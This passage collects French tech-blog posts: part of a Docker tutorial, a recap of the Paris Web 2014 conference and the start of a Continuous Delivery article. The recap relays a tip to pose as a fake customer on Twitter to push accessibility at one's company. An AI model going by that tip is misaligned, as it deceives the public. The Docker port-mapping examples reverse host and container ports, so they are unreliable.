Le paramĂštre ‘-t’ permet d’avoir un pseudo-terminal (pour exĂ©cuter des commandes dans le conteneur une fois lancĂ©). Le paramĂštre ‘-i’ permet d’activer le mode interactif, qui redirige tous les messages sur les sorties standards (permet de voir les logs). Le paramĂštre ‘–rm’ permet de supprimer automatiquement le conteneur Ă  la fin de l’exĂ©cution.

Tip : Vous avez sĂ»rement remarquĂ© que le nom de l’image est postfixĂ© de ‘:trusty’. Cela indique la version que l’on veut de l’image. Il est recommandĂ© de toujours l’indiquer afin d’ĂȘtre sĂ»r d’obtenir le mĂȘme rĂ©sultat dans le futur. Ici, ‘Trusty’ est la derniĂšre version d’Ubuntu Ă  la date de ce post.

Une fois la commande prĂ©cĂ©dente lancĂ©e, vous pourrez donc interagir avec votre systĂšme comme bon vous semble. Par exemple, installer MySQL avec ‘apt-get’.

Attention : A cause du paramĂštre ‘–rm’ de la commande prĂ©cĂ©dente, les commandes que vous effectuez ne sont pas sauvegardĂ©es une fois que vous sortez du conteneur, car ce dernier sera effacĂ©. Nous discuterons de cette option plus loin dans le post. Lancer une image en arriĂšre-plan (deamon)

Vous pouvez aussi choisir de lancer une image en arriĂšre plan (c.a.d. sans terminal), comme par exemple un serveur sur lequel vous voulez vous connecter. Dans ce cas, il faut utiliser le paramĂštre ‘-d’ au lieu de ‘-ti’. De plus, le paramĂštre ‘–rm’ n’est pas supportĂ© par ce mode.

 $> docker run -d ubuntu:trusty <a_script_that_starts_the_server> 

En dernier paramĂštre de la commande, vous pouvez passer une commande Ă  exĂ©cuter (par exemple, dĂ©marrer le serveur). Votre conteneur tournera en fond, jusqu’Ă  ce qu’il ait fini sa tĂąche, ou que vous l’arrĂȘtiez vous-mĂȘme.

Voir les conteneurs existants

Il peut ĂȘtre intĂ©ressant de voir les conteneurs existants (ceux que vous avez crĂ©Ă©), ainsi que leur Ă©tat (dĂ©marrĂ©/arrĂȘtĂ©). Pour cela vous pouvez lancer la commande suivante :

 $> docker ps 

Cette commande affiche tous les conteneurs en train de s’exĂ©cuter. Pour voir tous les conteneurs crĂ©Ă©s, rajoutez l’option ‘-a’ :

 $> docker ps -a 

L’affichage sera de la sorte :

CONTAINER ID  IMAGE                     COMMAND                CREATED      STATUS                      PORTS                    NAMES

61f894ce37c9  ubuntu:14.04              "/bin/echo Test"       2 days ago   Exited (0) 10 minutes ago                            elegant_yonath
4ce8a706b140  busybox:latest            "true"                 2 days ago   Exited (0) 22 hours ago                              d_sg
5f8e966087f8  afillatre/mysql:latest    "/bin/bash /opt/star   3 days ago   Up 33 hours                 0.0.0.0:3306->3306/tcp   mysql
f2a1b71c6ded  svendowideit/samba:latest "/setup.sh --start d   3 days ago   Up 35 hours                 0.0.0.0:137->137/tcp     samba-server
a0e84b157ce7  busybox:latest            "true"                 3 days ago   Exited (0) 35 hours ago                              d_mysql
268dcfc741d4  busybox:latest            "true"                 4 days ago   Exited (0) 44 hours ago                              d_ccip

Voilà le détail des colonnes :

  • CONTAINER ID : Identifiant technique du conteneur (mais on utilisera plus souvent le nom)
  • IMAGE : Identifiant technique de l’image utilisĂ©e pour crĂ©er le conteneur. La version de cette image est aussi indiquĂ©e
  • COMMAND : Commande passĂ©e en paramĂštre lors de la crĂ©ation du conteneur
  • CREATED : Date de crĂ©ation du conteneur
  • STATUS : Etat du conteneur (En cours d’exĂ©cution, ou arrĂȘtĂ©)
  • PORTS : Les ports NATĂ©s (redirections de ports entre le conteneur et le systĂšme hĂŽte (ou boot2docker le cas Ă©chĂ©ant)). Nous en parlerons plus tard dans ce post
  • NAMES : Noms alĂ©atoires donnĂ©es aux conteneurs. Il est possible de prĂ©ciser le nom vous-mĂȘme en ajoutant le paramĂštre ‘–name <name>’ Ă  la commande ‘docker run …’

C’est grĂące Ă  cette commande que nous pourrons :

  • dĂ©marrer ou arrĂȘter des conteneurs
  • supprimer des conteneurs
  • afficher les logs d’un conteneur
  • etc.
ArrĂȘter / re-dĂ©marrer un conteneur

Une fois le conteneur crĂ©Ă© (et s’il a Ă©tĂ© crĂ©Ă© sans l’option ‘–rm’) vous pouvez interagir avec lui. Par exemple, pour couper votre serveur, il faut lister tous les processus en cours (‘docker ps’), puis exĂ©cuter la commande suivante :

 $> docker stop <container_id_or_name> 

Pour redémarrer ce conteneur, rien de plus simple :

 $> docker start <container_id_or_name> 
Attention : Lorsque vous re-dĂ©marrez un conteneur, il est re-lancĂ© avec les mĂȘmes options que lors de sa crĂ©ation (mode, ports, volumes, etc.). Vous ne pouvez plus les changer. C’est pour cela qu’il est parfois prĂ©fĂ©rable de crĂ©er des conteneurs temporaires (avec le paramĂštre ‘–rm’) lorsque cela est possible. Rediriger des ports

Par défaut, vous ne pouvez pas accéder aux applications que vous lancez dans le conteneur car elles sont cloisonnées : les ports ne sont accessibles que localement. Pour pouvoir interagir avec vos applications, il faut faire des re-directions de ports entre le conteneur et la machine hÎte. Par exemple, dire que pour un conteneur A qui expose une application sur le port 8080, on veut pouvoir y accéder sur le port 8090.

Pour cela, il faut ajouter le paramĂštre ‘-p’ au lancement de votre conteneur. Si l’on reprend l’exemple suivant :

 $> docker run -d -p 8080:8090 ubuntu:trusty <a_script_that_starts_the_server_on_port_8080>  
Tip : Vous pouvez utiliser plusieurs fois le paramĂštre ‘-p’ si vous avez plusieurs ports Ă  rediriger

Vous pouvez alors accĂ©der Ă  l’application Ă  l’adresse suivante : http://localhost:8090

Attention : Pour les utilisateurs de boot2docker, la redirection de port se fait en fait du conteneur Ă  la VM boot2docker. Vous devez donc utiliser son ip (indiquĂ©e au dĂ©marrage de boot2docker, ou en exĂ©cutant la commande suivante ‘$> boot2docker ip’ sur votre systĂšme hĂŽte) : http://<ip_boot2docker>:8090

Gardez cependant bien en tĂȘte que vous pouvez tout Ă  fait lancer plusieurs fois le mĂȘme serveur sur le mĂȘme port, dans des conteneurs diffĂ©rents (par exemple, plusieurs projet avec un apache Tomcat Ă©coutant sur le port 8080). Dans ce cas, c’est au niveau de votre systĂšme hĂŽte qu’il faudra faire les bonnes re-directions. Par exemple, ‘-p 8080:8090′ pour le conteneur 1, ‘-p 8080:8091′ pour le conteneur 2, etc.

Partager ses données avec le systÚme hÎte

Vous l’avez sĂ»rement remarquĂ©, Ă  chaque fois que vous crĂ©ez un conteneur, vous perdez toutes les modifications prĂ©alablement apportĂ©es, car le conteneur est re-crĂ©Ă© Ă  partir de l’image Docker. Vous pourriez simplement utiliser toujours le mĂȘme conteneur (commande ‘start/stop’ plutĂŽt que ‘run’), mais dans ce cas, vous ne pourriez plus changer sa configuration (le lancer en mode terminal/deamon, ajouter/supprimer des re-directions de ports, etc.).

Un meilleur moyen de procĂ©der est de crĂ©er un conteneur dĂ©diĂ© pour recevoir les donnĂ©es. Ce conteneur dĂ©diĂ© ne fera rien, Ă  part contenir un dossier oĂč vous pourrez Ă©crire et lire. Du coup, jamais besoin de changer sa configuration, donc de perdre ses donnĂ©es. Nous allons donc crĂ©er ce conteneur avec un volume, c’est Ă  dire un dossier partagĂ©. C’est ce dossier qui sera utilisĂ© par notre conteneur principal pour stocker ses donnĂ©es :

 $> docker run -v /myData:<path_on_host_machine> –name d_my-data busybox true 

Le paramĂštre ‘-v /myData:<path_on_host_machine>’ crĂ©e un dossier ‘myData’ Ă  la racine du conteneur. Toutes les donnĂ©es Ă©crites dans ce dossier le seront aussi dans le dossier de la machine hĂŽte, dĂ©fini par le chemin ‘<path_on_host_machine>’

Le paramĂštre ‘–name d_my-data’ donne le nom ‘d_my-data’ Ă  notre conteneur. C’est purement pratique, pour pouvoir accĂ©der Ă  ce conteneur plus facilement via un nom dĂ©fini par nous-mĂȘme.

Une fois ce rĂ©ceptacle crĂ©Ă©, nous allons crĂ©er notre conteneur principal en lui disant d’utiliser le volume du conteneur ‘d_my-data’ :

 $>  docker run -d -p 8080:8090 –volumes-from d_my-data ubuntu:trusty <a_script_that_starts_the_server_on_port_8080> 

A partir de maintenant, toutes les donnĂ©es crĂ©Ă©es dans le dossier ‘/myData’ seront sauvĂ©es sur votre disque.

Attention : Pour les utilisateurs de boot2docker, le dossier partagĂ© est crĂ©Ă© sur la VM boot2docker. Il vous faudra donc un serveur samba pour accĂ©der aux dossiers : https://github.com/boot2docker/boot2docker#folder-sharing. Notez que vous ne pourrez accĂ©der qu’aux volumes d’un seul conteneur Ă  la fois (une nouvelle connexion samba ferme la prĂ©cĂ©dente). Il existe d’autres solutions (comment installer du SSHFS par exemple, mais cela n’est pas spĂ©cialement recommandĂ©, et ne sera pas traitĂ© dans cet article). Attention : Le montage d’un volume d’un autre conteneur se fait au “runtime”, c’est Ă  dire lorsque le conteneur est en train de fonctionner. Ainsi vous pouvez dĂ©clarer des volumes dans votre fichier “Dockerfile”, mais pas utiliser d’autres conteneurs. Si cela Ă©tait possible, vos fichiers “Dockerfile” ne seraient plus portables, car ils dĂ©pendraient de l’organisation du systĂšme hĂŽte. Si vous voulez installer des choses dans un rĂ©pertoire montĂ©, le mieux est d’utiliser un script, exĂ©cutĂ© au lancement du conteneur. CrĂ©ation de vos propres images

Pour crĂ©er vos propres images, vous pouvez utiliser un fichier Dockerfile. Le dĂ©tail de ce fichier est expliquĂ© ici. Je vous conseille aussi de regarder comment sont faits ces fichiers sur le Regitry de Docker (lĂ  oĂč vous pouvez chercher des images).

Exemple d’architecture de projet

Afin de mettre en place tout ce que nous avons vu plus haut, voilà un exemple simple de projet :

  • une base MySQL
  • un serveur Apache Tomcat
  • le code source

La solution indiquĂ©e ici n’est qu’un exemple, et il n’est absolument pas nĂ©cessaire de faire de la sorte pour utiliser Docker. Chacun pourra organiser ses projets comme bon lui semble, mais l’idĂ©e est juste ici de montrer ce que l’on peut faire.

Installation de la base de données

Vous avez surement plusieurs projets qui utilisent MySQL (ou une base de donnĂ©es). Il est possible d’installer MySQL sur chacun de vos conteneurs, ou bien d’avoir un conteneur dĂ©diĂ©. De cette maniĂšre, tous vos projets stockeront leurs donnĂ©es sur le mĂȘme conteneur. Cela permet de rassembler un maximum de donnĂ©es, et de faciliter la gestion (un seul et mĂȘme conteneur Ă  lancer quel que soit le projet, Ă  condition que la version de la BDD voulue soit similaire).

Pour trouver une image MySQL, vous pouvez chercher ici : https://registry.hub.docker.com/search?q=mysql&searchfield=

Une fois votre image choisie, suivez les instructions. Si vous regardez les “Dockerfile” de ces images, vous verrez qu’elles crĂ©ent toutes des volumes pour sauvegarder les donnĂ©es. Ainsi, vous pouvez crĂ©er de nouveaux conteneurs Ă  partir de ces images, et vos donnĂ©es seront toujours conservĂ©es.

Installation du serveur Tomcat

C’est notre conteneur principal. Nous allons au prĂ©alable crĂ©er un autre conteneur avec un volume, dans lequel seront placĂ©es les donnĂ©es que nous voulons sauvegarder. Ensuite, nous allons crĂ©er notre conteneur Tomcat, tĂ©lĂ©charger le serveur, et inclure un script de dĂ©ploiement (pour rappel, nous ne pouvons pas monter un volume externe dans l’image).

En supposant que vous passiez par un Dockerfile, dans le répertoire courant :

$> docker run -v /myProjectData –name d_my-project-data busybox true

$> docker build –rm -t ippon/myproject . # Donne le nom ‘ippon/myproject’ Ă  l’image en cas de construction rĂ©ussie

$> docker run -ti -p 8080:8090 -p 8443:8493 –rm –name my_project –volumes-from d_my-project-data ippon/myproject

Une fois le conteneur lancĂ©, vous pouvez installer votre server avec un script de dĂ©ploiement, dans le dossier /myProjectData. Il est aussi possible d’automatiser complĂštement cela, et d’installer et lancer le serveur au dĂ©marrage du conteneur. Dans ce cas, il vous faudra utiliser l’option ‘-d’ Ă  la place des options ‘-ti –rm’ pour que le conteneur tourne en arriĂšre plan, et soit indĂ©pendant.

Code source

Le code source de l’application que vous allez dĂ©ployer sur votre server Tomcat peut rester sur votre systĂšme hĂŽte. Ainsi, vous n’aurez pas besoin de lancer un conteneur pour y travailler, ni de monter un partage Samba pour les utilisateurs de Boot2docker.

Conclusion

Cet article ne couvre qu’une petite partie de Docker. Il existe beaucoup plus de commandes et de possibilitĂ©s pour utiliser cet outil. Cependant, je voulais me concentrer sur l’explication des parties qui me semblent vitales pour l’utiliser. Avec cette base, vous ne devriez pas avoir de problĂšme pour vous reporter Ă  la documentation officielle et complĂ©ter la liste des commandes possibles.

Catégories: Blog Société

Paris Web 2014 : les T.I.C. et l’éthique

Logo ParisWeb

Paris Web c’est, depuis bientĂŽt dix ans, le rendez-vous de ceux qui aiment le Web et qui le font.

Voici une synthĂšse subjective et bienveillante de ces 2 jours de partage autour du Web, Ă  travers 4 axes qui ressortent des sujets abordĂ©s : l’accessibilitĂ©, le Web multiple, la technologie et l’Ă©thique .

note: révision le 22 octobre 2014 sur la stratégie de Meetic. Merci pour vos retours !

L’accessibilitĂ©

Ce qui diffĂ©rencie Paris Web de la majoritĂ© des confĂ©rences, c’est un Ă©tat d’esprit : ici on pense le Web comme un outil de communication pour le plus grand nombre, on s’engage vis-Ă -vis de tous les utilisateurs du Web.

Pour cela, on y parle beaucoup d’accessibilitĂ©. D’ailleurs toutes les confĂ©rences sont rendues accessibles en direct grĂące Ă  des interprĂštes en langue des signes et Ă  un sous-titrage par vĂ©lotypie, permettant aux personnes malentendantes ou mal-voyantes d’assister en direct aux confĂ©rences.

Cette annĂ©e, parmi les retours d’expĂ©rience ressortait un goĂ»t d’inachevĂ© : certes l’accessibilitĂ© n’est pas complĂštement mise de cĂŽtĂ© par les diffĂ©rents acteurs (clients, designers, dĂ©veloppeurs…), mais on est encore loin du compte.

Pourtant les outils sont lĂ  : par exemple Dennis Lembree de PayPal nous a prĂ©sentĂ© leur plugin Paypal Bootstrap Accessibility Plugin pour Bootstrap. Ce plugin comble les lacunes de Bootstrap concernant l’accessibilitĂ© de certains composants. Il est compatible avec les derniĂšres versions et se trouve progressivement intĂ©grĂ© au coeur de Bootstrap. Ajoutez le Ă  votre site et vous simplifierez la vie de nombreux utilisateurs !

Bruce Lawson et Karl Groves donnent leur vision des Web Components

Bruce Lawson et Karl Groves donnent leur vision des Web Components

À cĂŽtĂ©, la question se pose sur les Web components. Lors de leur confĂ©rence, Bruce Lawson d’Opera Software (la navigateur) et Karl Groves , expert accessibilitĂ© chez Paciello Group, ont insistĂ© sur le fait que l’utilisation du Shadow DOM (utilisĂ© pour encapsuler un composant) est un problĂšme pour enrichir un composant existant : vous ne pouvez pas ajouter d’Ă©vĂ©nements sur la modification d’un morceau du composant. Or c’est justement ce que PayPal a fait avec Bootstrap. On se reposera alors uniquement sur la qualitĂ© du composant lui-mĂȘme, ce qui pose la question de la qualitĂ© du travail communautaire. La conclusion de leur confĂ©rence : de la passion, oui, mais avec des pull requests !

Billy Gregory, Ă©vangĂ©liste de l’accessibilitĂ©, nous donnait quant Ă  lui des astuces pour pousser l’accessibilitĂ© dans son entreprise. Devant les urgences et les prioritĂ©s donnĂ©es, celle-ci fait souvent office de derniĂšre roue du carrosse. Pour y remĂ©dier, il conseille de commencer par mettre en place des bonnes pratiques sur des petits projets qui serviront d’exemple. La derniĂšre arme Ă©tant les rĂ©seaux sociaux : crĂ©er un compte Twitter et se faire passer pour un client, et dire qu’on n’a rien pu acheter car le site n’est pas accessible. Cela aura souvent plus de poids que l’avis d’un dĂ©veloppeur !

Léonie Marin et l'appropriation des réseaux sociaux par les Kanaks

LĂ©onie Marin et l’appropriation des rĂ©seaux sociaux par les Kanaks

L’accessibilitĂ© c’est aussi, si l’on poursuit le raisonnement au-delĂ  de la prise en compte des handicaps, connaĂźtre les diffĂ©rentes cultures pour offrir des outils adaptĂ©s. Dans une confĂ©rence passionnante ouverte sur les cultures africaines et surtout sur les Kanaks de Nouvelle-CalĂ©donie, LĂ©onie Marin, “ethnologue du numĂ©rique”, a montrĂ© comment les diffĂ©rences culturelles peuvent influer sur l’usage du Web et inversement, comment l’usage du Web peut influer sur une sociĂ©tĂ©.

On commençait par l’inversion des pouvoirs au sein de sociĂ©tĂ© oĂč le pouvoir est traditionnellement dĂ©volu aux plus anciens. Avec l’arrivĂ©e des tĂ©lĂ©phones portables, les “anciens” doivent passer par les plus jeunes, qui maĂźtrisent ces technologies, pour obtenir des informations qu’avant ceux-ci n’auraient pas pu connaĂźtre. Une inversion de la connaissance qui remet en cause la hiĂ©rarchie traditionnelle.

Puis on voyageait en Nouvelle-CalĂ©donie oĂč l’on utilise Ă©normĂ©ment Facebook pour communiquer au sein des familles Ă©largies. Contrairement aux pays occidentaux oĂč souvent les jeunes y discutent entre eux et ne souhaitent pas avoir leurs mĂšres comme “amis”, lĂ -bas les familles y sont entiĂšrement reprĂ©sentĂ©es, et les grands-mĂšres ont l’habitude de demander Ă  leurs petits-enfants de prendre des nouvelles de proches sur Facebook.

A contrario, les blogs personnels y sont inexistants car il n’est pas dans la tradition de prendre la parole en public de maniùre individuelle. Les blogs et sites persos sont plutît des outils de groupes : associations, groupes politiques


En conclusion, les questions de fin ont Ă©voquĂ© le rĂŽle qu’ont pu jouer les rĂ©seaux sociaux sur les rĂ©volutions arabes de ces 2 derniĂšres annĂ©es, notamment en Tunisie.

Le Web multiple

La révolution des écrans se poursuit : tablettes, téléphones intelligents, montres et télévisions connectés, les utilisateurs veulent des applications partout tout le temps.

Le Web, de par son ouverture et la présence de navigateurs sur la plupart des terminaux, constitue une des réponses à ces nouveaux besoins. Cependant cela ne se fait pas sans difficultés.

Le Responsive Web Design est un sujet majeur de prĂ©occupation aujourd’hui.

Pour les designers tout d’abord : Vitaly Friedman (co-rĂ©dacteur en chef du site rĂ©fĂ©rence Smashing Magazine) nous a fait un tour d’horizon des problĂ©matiques Ă  prendre en compte. Ce qu’il met en avant est la complexitĂ© notamment due au trop grand nombre de choix possibles pour assurer une bonne ergonomie sans dĂ©grader les performances Web. Pour y voir plus clair, il applique une rĂšgle simple : optimiser d’abord le contenu (c’est-Ă -dire le cƓur de la page Web, ce qui est vraiment le plus nĂ©cessaire) et diffĂ©rer le chargement du reste. On veillera donc toujours Ă  permettre l’affichage le plus rapide de la partie importante (le texte d’un article) sans avoir chargĂ© le reste de la page (des menus annexes, des images, des vidĂ©os
).

Il propose aussi sur son site des exemples de patterns de composants répondant bien aux exigences du Responsive Web Design : http://patterns.alistapart.com/.

pariweb2014-vitaly-friedman-rwd

Marko Dugonjic quant Ă  lui a plus spĂ©cialement posĂ© la question de la gestion des typographies dans un site Responsive. Il a notamment montrĂ© de façon convaincante qu’une meilleure gestion des espacements entre les lignes et une optimisation de la taille des caractĂšres peut amĂ©liorer fortement la lisibilitĂ© d’un texte en fonction de la taille d’un Ă©cran.

Il a prĂ©sentĂ© la notion de contexte, c’est-Ă -dire de ce qui influe sur la perception d’un site par l’utilisateur.

Ce contexte est constituĂ© d’élĂ©ments incluant le terminal (taille de l’écran, densitĂ© de pixels, orientation du terminal, ratio de l’écran), mais aussi du contenu (hiĂ©rarchie des contenus, densitĂ© de l’information) et enfin l’utilisateur (activitĂ©, usage individuel ou collaboratif, localisation, temps disponible).

Ensuite, Nicolas El Azzi nous a montrĂ© comment amĂ©liorer l’ergonomie d’un site Web mobile d’un grand acteur du e-commerce, afin d’amĂ©liorer le checkout sur mobile.

En effet, une Ă©tude montre que 74% des gens ne sortent pas sans leur mobile, qu’il y a eu +66% de paiement par mobile en 1 an, que 41% des utilisateurs de mobiles ont fait au moins 1 paiement
 mais que le taux d’abandon y est de 97% !!!

Ses conseils portaient principalement sur la simplification des formulaires : supprimer les champs optionnels (quitte Ă  supprimer la possibilitĂ© de rentrer un code promo, facteur d’abandon), ne pas obliger l’utilisateur Ă  crĂ©er un compte, mieux espacer les boutons
 Et rassurer le client sur la sĂ©curitĂ© en affichant les logos adĂ©quats.

 

Jean-Loup Yu sur l'Ă©volution de Meetic

Jean-Loup Yu sur l’Ă©volution de Meetic

Enfin la prise en compte de la multiplication des terminaux c’est aussi des stratĂ©gies d’entreprises.

Jean-Loup Yu est venu nous le rappeler en exposant la stratĂ©gie mobile de Meetic, depuis le passage sur le WAP en 2003 jusqu’à la conception de leur nouvelle application Web mobile utilisant AngularJS et Famo.us, en passant par la crĂ©ation des applications natives devenues flagships. Il nous a aussi montrĂ© comment organiser l’innovation et la rĂ©alisation de ces nouveaux projets en mettant en Ɠuvre l’internalisation des ressources et la transformation agile de Meetic. D’ailleurs OCTO est fier d’y avoir participĂ© et de continuer Ă  contribuer Ă  la rĂ©ussite des nouveaux projets mobiles de Meetic.

En conclusion, la multiplication des Ă©crans et des usages conduit Ă  des rĂ©volutions technologiques et de design au sens large, nĂ©cessitant une fluiditĂ© et une rapiditĂ© d’adaptation grĂące Ă  de nouvelles pratiques de crĂ©ation de produit et de rĂ©alisation.

La technologie

Le Web c’est avant tout une technologie qui fĂȘte ses 25 ans cette annĂ©e, comme nous l’a rappelé Coralie Mercier du W3C.

Au dĂ©part conçu pour faciliter l’Ă©change de documents texte Ă  traverses trois protocoles HTML, HTTP et les URL, il est aujourd’hui possible de tout faire en Web : des applications Web riches bien entendu mais aussi des jeux en 3D et mĂȘme des systĂšmes d’exploitation, comme JĂ©rĂ©mie Patonnier nous l’exposait dans sa vision de la logiciellisation du Web.

Cela est possible grùce à la multiplication des technologies et des API liées au Web et à la puissance des navigateurs.

Pour les développeurs, cela veut aussi dire du code plus complexe et un apprentissage continu de nouvelles technologies.

 

Christophe Porteneuve donne un cours avancé de Javascript

Christophe Porteneuve donne un cours avancé de JavaScript

Nous vous conseillons d’ailleurs fortement de vous plonger dans les fondamentaux du langage JavaScript, prĂ©sentĂ©s par Christophe Porteneuve : 30 minutes pour maĂźtriser le prototypage, les closures et les bindings et ĂȘtre convaincu que JavaScript est un langage plus riche que vous ne le pensiez.

D’ailleurs c’est bien lĂ  la logiciellisation du Web Ă©voquĂ© par JĂ©rĂ©mie Patonnier : en l’utilisant pour faire des jeux, des applications serveurs avec Node.js ou des OS, on rend la maĂźtrise et l’industrialisation de ce langage une prioritĂ©.

Une autre discipline reprĂ©sentĂ©e dans les confĂ©rences est la Web Perf. Philipp Tellis, le crĂ©ateur de Boomerang, une librairie de rĂ©fĂ©rences pour mesurer les performances rĂ©seau d’un site, est revenu dans sa confĂ©rence  sur les derniĂšres techniques avancĂ©es pour amĂ©liorer les performances d’un site. Parmi elles, on peut citer la dĂ©tection des Frontend SPOF avec blackhole.webpagetest.org (ne cliquez pas, c’est une URL justement mise en place par l’Ă©quipe de WebPageTest pour simuler un appel qui ne rĂ©pond jamais), comme dĂ©crit sur le blog http://blog.patrickmeenan.com/2011/10/testing-for-frontend-spof.html , permettant de dĂ©tecter les consĂ©quences potentielles d’une dĂ©faillance d’un composant tierce-partie. On citera aussi l’utilisation de TLS Ă  la place de SSL, la dĂ©tection des anti-virus et firewalls qui dĂ©sactivent la compression gzip, le chargement diffĂ©rĂ© des Ă©lĂ©ments non visibles, etc.

L’Ă©thique

Pour terminer par le commencement, plusieurs sujets qui montrent bien ce que l’Ă©thique peut signifier pour un travailleur du Web :

Tout d’abord les dark patterns : ClĂ©ment HardoĂŒin nous a prĂ©sentĂ© Ă  grand renfort d’exemples ce qu’on appelle les “Dark patterns”, rĂ©fĂ©rencĂ©s sur le site http://darkpatterns.org/ .

Ce sont en fait des patterns d’interfaces utilisateurs conçus pour tromper sa vigilance, avec des impacts plus ou moins grands, allant de jouer avec ses frustrations (par exemple lui afficher la page qu’il demande puis la masquer avec un formulaire lui demandant de payer pour y accĂ©der), jusqu’à ajouter des Ă©lĂ©ments dans un panier de site e-commerce sans le notifier (le cas d’un site qui ajoute une assurance de 15€ Ă  la derniĂšre Ă©tape d’achat, dĂ©clenchĂ©e uniquement sur le choix du pays d’origine de l’acheteur et ce de maniĂšre non visible).

Les coĂ»ts cachĂ©s, manipulations sur les comparaisons de prix (mettre le prix le plus cher en vert et le moins cher en rouge, ce qui est contraire Ă  nos codes), inscriptions d’office Ă  des listes de diffusion, et autres dark patterns sont nombreux sur le Web et l’orateur nous a informĂ© sur nos droits. On peut souvent se faire rembourser si l’on s’y prend rapidement. On peut aussi passer par les rĂ©seaux sociaux pour faire rĂ©agir l’entreprise, et compter sur l’évolution des lois (par exemple la loi Hamon qui permet les actions de groupe en France). Enfin il faut bien connaĂźtre la lĂ©gislation des pays, par exemple sur les rĂšgles opt-in ou opt-out : a-t-on le droit d’inscrire quelqu’un par dĂ©faut Ă  une liste de diffusion tout en lui permettant plus tard de se dĂ©sinscrire, ou doit-on forcĂ©ment lui demander une autorisation pour l’inscrire ?

pariweb2014-serment-du-beffroi

Enfin, comme un point d’orgue, Jean-Philippe Simonnet a prĂ©sentĂ© dans sa confĂ©rence ce qui l’a poussĂ© Ă  crĂ©er le serment du dĂ©veloppeur Web.

En effet nous a-t-il expliquĂ©, de nombreuses professions prĂȘtent serment : les avocats, les mĂ©decins, les notaires
 Et mĂȘme les facteurs ! Parmi les obligations figure notamment le respect de la confidentialitĂ©. Or nous, dĂ©veloppeurs, manipulons au quotidien des milliers de donnĂ©es utilisateurs. Nous sommes les facteurs du XXIĂšme siĂšcle ! Cependant dans la vision du grand public, et notamment dans l’image donnĂ©e par les mĂ©dias qui relatent quotidiennement les nouveaux scandales de donnĂ©es volĂ©es (le CelebGate, les vols de photos sur Snapchat
), les dĂ©veloppeurs sont souvent assimilĂ©s aux pirates.

Alors il nous a incitĂ© Ă  prĂȘter le serment du dĂ©veloppeur, nous engageant de respecter la vie privĂ©e, les standards ouverts, l’accessibilitĂ©, l’ouverture et la neutralitĂ©. Et Ă  ĂȘtre fier de notre mĂ©tier !

Les vidéos déjà disponibles

Si comme nous vous ĂȘtes fans de ParisWeb ou qu’on vous a simplement mis l’eau Ă  la bouche, les vidĂ©os des confĂ©rences sont dĂ©jĂ  disponibles Ă  cette adresse : http://www.paris-web.fr/2014/conferences/

Cela vous permettra aussi de dĂ©couvrir les confĂ©rences auxquelles nous n’avons pu assister et qui n’ont pas Ă©tĂ© retranscrites dans ce billet.

À l’annĂ©e prochaine !

Un Ă©norme merci Ă  l’Ă©quipe des organisateurs de la confĂ©rence, bĂ©nĂ©voles qui plus est, pour cette nouvelle Ă©dition de Paris Web, et Ă  l’annĂ©e prochaine pour fĂȘter vos 10 ans !

François Petitit – @francoispetitit

Articles suggested :

  1. Ce que jQuery Mobile nous apprend sur le Web Mobile
  2. Les nouvelles architectures front Web et leur impact sur les DSI – Partie 1
  3. Les nouvelles architectures front Web et leur impact sur la DSI – partie 2

Catégories: Blog Société

Continuous Delivery, Continuous Value for Business – PubliĂ© dans IT Expert

Il y a quelques mois, nous vous parlions du Continuous Delivery dans IT Expert. Vous n’aviez pas vu passer l’article ? Pas de panique, le voici : 

Le Continuous Delivery est une stratĂ©gie de dĂ©veloppement logiciel qui permet aux organisations de livrer des mises Ă  jour frĂ©quentes et incrĂ©mentales, au lieu de mettre plusieurs mois Ă  livrer des mises Ă  jour majeures incluant de nombreuses Ă©volutions via des approches « Big Bang ». De petites Ă©volutions sont amenĂ©es jusqu’en production plus rapidement, rĂ©duisant ainsi drastiquement le dĂ©lai entre l’idĂ©e et la mise Ă  disposition du logiciel aux utilisateurs. Il s’agit d’embrasser les principes de l’AgilitĂ©. L’objectif est de mettre en place une exĂ©cution frĂ©quente et fiable de tĂąches rĂ©pĂ©titives. On pense « automatisation ».

Le Continuous Delivery ne consiste pas seulement Ă  automatiser des tĂąches unitaires mais Ă  penser produit, de bout en bout :

  • Des Ă©quipes agiles : pour une production rapide de nouvelles fonctionnalitĂ©s.
  • La prise en compte du mouvement DevOps : la transition d’équipes organisĂ©es par technologie vers des Ă©quipes intĂ©grĂ©es, dĂ©diĂ©es Ă  un produit ou une fonctionnalitĂ©.
  • La qualitĂ© Ă  tous les niveaux : code, livraison et systĂšme.
  • Une automatisation maximale : les interventions manuelles sujettes Ă  erreurs doivent ĂȘtre limitĂ©es.

Mais pourquoi engager mon SI vers le Continuous Delivery ? Quels intĂ©rĂȘts pour une DSI d’adopter les mĂ©thodologies des grands du Web (Facebook, Twitter, Google, etc.) qui dĂ©ploient plusieurs fois par jour en production ? Comment le mettre en place et avec quels outils ?

Pourquoi mettre en place le Continuous Delivery ?

Les mises en production rĂ©alisĂ©es quelques fois par an sont toujours des moments extrĂȘmement risquĂ©s.

D’une part d’un point de vue business :

  • Est-ce que les nouvelles fonctionnalitĂ©s vont apporter la valeur attendue aux clients ?
  • Les fonctionnalitĂ©s sont-elles toujours d’actualitĂ© ?
  • Est-ce que la qualitĂ© du site ou de l’application (rapiditĂ© de chargement, visuel, adaptation aux diffĂ©rentes tailles d’écran) est au rendez-vous ?

D’autre part, d’un point de vue technique :

  • Les installations sont longues, complexes et impliquent un grand nombre de personnes.
  • Il est difficile d’effectuer des retours en arriĂšre si quelque chose se passe mal ou si des anomalies sont dĂ©tectĂ©es.
  • La disponibilitĂ© du systĂšme informatique n’a pas forcĂ©ment Ă©tĂ© anticipĂ©e. Ainsi, l’environnement de production n’est pas prĂȘt.

A l’instar de ce qui est rĂ©alisĂ© avec l’agilitĂ© au sein des Ă©quipes de dĂ©veloppement, le but du Continuous Delivery est d’apporter des fonctionnalitĂ©s jusqu’en production le plus frĂ©quemment et rapidement possible.

Les bénéfices du Continuous Delivery sont multiples :

  • Des applications de plus grande qualitĂ©.
  • Des fonctionnalitĂ©s plus en ligne avec les besoins des clients.
  • Une plus grande collaboration entre les Ă©quipes et, en particulier entre Ă©quipes de DĂ©veloppement et OpĂ©rations IT.
Amélioration de la qualité des développements

L’un des piliers du Continuous Delivery est l’automatisation des tests (unitaires, d’intĂ©gration, de performances) et du dĂ©ploiement.

